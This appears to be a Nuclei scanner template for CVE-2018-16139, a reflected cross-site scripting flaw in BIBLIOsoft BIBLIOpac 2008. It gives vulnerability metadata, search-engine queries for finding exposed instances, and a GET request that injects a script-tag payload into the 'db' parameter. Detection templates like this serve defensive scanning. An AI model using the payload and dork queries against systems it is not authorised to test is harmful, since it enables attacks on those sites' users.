id: CVE-2018-16139

info:
  name: BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting
  author: atomiczsec
  severity: medium
  description: |
    BIBLIOsoft BIBLIOpac 2008 contains a cross-site scripting vulnerability via the db or action parameter to bin/wxis.exe/bibliopac/, which allows a remote attacker to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a newer version of BIBLIOsoft BIBLIOpac 2008 that addresses the XSS vulnerability.
  reference:
    - https://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16139
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16139
    cwe-id: CWE-79
    epss-score: 0.02285
    epss-percentile: 0.81445
    cpe: cpe:2.3:a:bibliosoft:bibliopac:2008:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bibliosoft
    product: bibliopac
    shodan-query:
      - title:"Bibliopac"
      - http.title:"bibliopac"
    fofa-query: title="bibliopac"
    google-query: intitle:"bibliopac"
  tags: cve,cve2018,xss,bibliopac,bibliosoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>prompt(document.domain)</script>.xrf'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d1f6cab0e8ea1013c7f5dd1f1999e5e50875ce1d3c171e024173ec3e9aa6a49d02207e5a8353d7eacc09ac4ad0edf6fb4ceb15a26956560137b923ab04c06c25caf8:922c64590222798bb761d5b6d8e72950